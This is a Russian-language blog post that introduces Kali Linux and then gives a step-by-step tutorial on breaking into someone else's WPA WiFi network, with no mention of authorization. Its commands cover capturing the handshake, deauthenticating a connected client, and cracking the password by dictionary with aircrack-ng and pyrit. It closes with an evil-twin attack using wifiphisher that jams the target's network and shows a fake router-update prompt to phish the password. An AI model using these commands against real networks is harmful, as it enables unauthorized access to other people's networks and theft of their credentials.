June 30, 2021

Kali Linux

Кали Линукс - это не Linux для начинающих, а мощное оружие хакера, или того, кто с этими хакерами борется. Kali Линукс является супер дистрибутивом для проведения тестирования на проникновение и аудита безопасности.

Kali Linux - это потомок знаменитого BackTrack Linux, но он уже основан на Debian и соответственно поддерживает его пакеты в общем и приложения в частности.

Что же представляет из себя Kali Linux?

У Kali Linux есть конечно свой официальный сайт, и самое приятное, что там есть документация и на русском языке, поэтому, чтобы понять все тонкости этой OS, вам не нужно знать английский язык. А так как функционал у Kali Linux огромный, то мануалы читать просто придётся.

Как вообще выглядит Kali Linux? Наверное это первое, на что обращает внимание каждый человек, ведь по одёжке встречают, как говорят...

Что ещё очень интересно и не мало важно, так это то, что Kali Linux портировали под архитектуру ARM, а это значит, что его можно спокойно установить на планшет. На сайте есть подробная инструкция на русском языке, как собрать свой имидж под ARM. Я уже давно замечаю, что всё больше линуксов портируют свои сборки под ARM, так как все мобильные устройства сегодня используют именно эту архитектуру.

Вот такой Linux Kali, великий и ужасный, любимец хакеров и системных администраторов!

Как взломать WiFi с помощью Kali Linux?

Для начала мы проверим доступные сетевые интерфейсы. Сделать это можно командой:

iwconfig

При этом вы увидите похожую картинку:

В данном случае есть 2 доступных сетевых интерфейса, wlan0mon (о режиме мониторинга чуть позже) и wlan1 (wlan0).

После это шага есть несколько возможных путей:

  • Путь попроще и для ленивых: использовать утилиту wifite
  • Делать все ручками и сами

В первом случае вам потребуется всего лишь

-выбрать девайc с которого проводить атаку (сетевой интерфейс)

-выбрать атакуемую сеть

-далее утилита все сделает сама: либо захватит хендшейк если вы атакуете WPA сеть без WPS, либо будет производить атаку с помощью Pixie если WPS включен.

-на случай WPA, Wifite можно запустить указав словарь который он будет использовать для взлома хендшейка (wifite –dict wordlist.txt).

Когда мы убедились, что вайфай адаптер подключен и работает, нужно узнать сигнал каких сетей он ловит, один из вариантов, включить беспроводной интерфейс и произвести сканирование.

Для этого мы воспользуемся следующими командами:

ifconfig wlan1 up – в данном случае wlan1 это имя сетевого интерфейса

iwlist wlan1 scanning – сканирование с использованием интерфейса wlan1

и мы получим приблизительно такой вывод:

Нас интересует сразу несколько параметров:

Имя сети, MAC адрес, канал

Теперь давайте попробуем захватить хендшейк, для этого нам надо перевести сетевой интерфейс в режим мониторинга и захватить хендшейк.

Для перевода в режим мониторинга используется команда :

airmon-ng start wlan1 – при этом интерфейс поменяет имя на wlan1mon и перейдет в режим мониторинга (проверить это можно при помощи iwconfig), при этом вас может предупредить о том, что какие-то процессы могут этому мешать, не обращайте внимания, это нормально.

Для более аккуратного захвата хендшейка мы будем использовать информацию, которую мы получили при сканировании:

Airodump-ng wlan0mon –-bssid FC:8B:97:57:97:A9 –-channel 2 -–write handshake –-wps

wlan0mon – имя интерфейса

bssid FC:8B:97:57:97:A9 – MAC адресс роутера который мы взламываем

channel 2 – ограничение по каналу, на роутер который мы взламываем

write handshake – эта команда позволяет нам записать захваченную информацию в файлы с именем handshake

wps – отобразит наличие WPS у точки на случай если вы его упустили.

Вот так выглядит процесс захвата хендшейка.

Учитывая, что хендшейк происходит при подключении клиента к точке доступа, то нам необходимо либо подождать пока клиент подключиться к точке доступа (например придя домой, в офис, или включив ноутбук/wifi) либо помочь клиенту пере подключиться к точке доступа используя деаунтефикацию и поимку хендшейка при последующем подключении. Пример деаунтефикации.

aireplay-ng -0 10 –a FC:8B:97:57:97:A9 –c 68:3E:34:15:39:9E wlan0mon

-0 — означает деаунтефикацию

10 – количество деаунтефикаций

-a FC:8B:97:57:97:A9 – MAC адрес точки доступа

–c 68:3E:34:15:39:9E – MAC адрес клиента

wlan0mon – используемый интерфейс

Когда вы поймаете хендшейк это отобразиться в правом верхнем углу.

Теперь, когда мы поймали хендшейк желательно его проверить, почистить убрав все лишнее и подобрать пароль.

Проверить можно несколькими способами:

1) с помощью утилиты cowpatty

cowpatty -r handshake-01.cap -c

-r указывает файл для проверки

-с указывает что нам надо проверить хендшейк а не взламывать его

Как мы видим на скриншоте в первом файле у нас не было правильно хендшейка, зато во втором был.

2) С помощью Wireshark

для этого надо открыть файл wireshark’om, это можно сделать как из терминала (wireshark handshake-01.cap) так и в ручную. При этом вы увидите большое количество пакетов. Давайте отфильтруем пакеты хендшейка с помощью фильтра:

eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08

и нажать apply

теперь нам требуется оставить броадкаст точки доступа, и первые 2 пакета хендшейка, убрав все остальное. При этом надо следить чтобы у первых 2х пакетов номер не слишком отличались, чтобы они были из одного хендшейка.

При этом можно выделить броадскаст и 2 первых пакета и сохранить их отдельно.

3) самый простой способ — это утилита WPAclean.

wpaclean handshake-01.cap wpacleaned.cap

handshake-01.cap — это файл источник из которого будет браться хендшейк

wpacleaned.cap — это файл куда будет записываться очищеный хендшейк.

Как мы видим вывод программы несколько разный, это связанно с тем что в первом файле не было всей необходимой информации.

Теперь, когда у нас есть правильный очищенный хендшейк, нам остается его расшифровать.

Для получения пароля от Wi-Fi нам потребуется найти пароль, при использовании которого хеши для 2х наших хендшейков совпадут. Для этого можно использовать словарь или подбирать по символам. Если у вас не суперкомпьютер, то этот вариант вам вряд ли подойдет, так как количество вариантов — это количество допустимых символов в степени количества знаков пароля (~130^8 для 8 значного пароля). Применять подбор по символам имеет смысл, если вы знаете кусочек пароля, который сократит количество вариантов, или ограничение пароля (например, что там только цифры, или он совпадает с мобильным телефоном в вашей области). Сейчас мы будем подбирать пароль по словарю.

Мы можем расшифровывать хендшейк при помощи CPU или GPU. Обычно, если у вас мощная видеокарта, то при помощи GPU быстрее.

Для расшифровки с помощью CPU мы воспользуемся aircrack

aircrack-ng wpacleaned.cap –w wordlist.txt

wpacleaned – это наш очищенный и проверенный хендшейк

-w wordlist.txt – это наш словарь, по которому мы и будем подбирать пароль

Если пароль будет в словаре, то через некоторое время подбора вы увидите соответствующее сообщение:

В котором будет указан ваш пароль. Или же сообщение о том, что словарь закончился, а пароль так и не найден.

Утилита для взлома через GPU называется pyrit обладает гораздо большими возможностями и тонкой настройкой, но о них как-нибудь в следующий раз, сейчас мы просто попробуем подобрать пароль для хендшейка с нашим конкретным словарем.

pyrit –r wpacleaned.cap –i wordlist.txt attack_passthrough

-r wpaclean.cap – файл хендшейка

-I wordlist.txt – файл словаря

Если это не помогло:

Можно попытаться применить смесь социальной инженерии и атаки на Wi-Fi, для этого есть 2 утилиты:

А) Linset

Б) Wifiphisher

Для wifiphisher нам понадобиться 2 вайфай адаптера. Вкратце это происходит так:

  • С помощью 1 адаптера мы глушим точки цели
  • На втором адаптере мы поднимаем открытую точку с таким же именем
  • Когда цель не сможет подключиться и использовать свою точку, она возможно подключится к нашей
  • У цели выпадет «похожее» на правдивое окошко где попросят ввести пароль от вайфая для того чтобы роутер закончил обновление.

При этом правильность введенного пароля для обновления не проверяется.

Linset осуществляет работу подобным образом. Но ключевая особенность этой утилиты, в том, что она на испанском,

Английской и тем более русской версии нету, к сожалению у меня она не запустилась.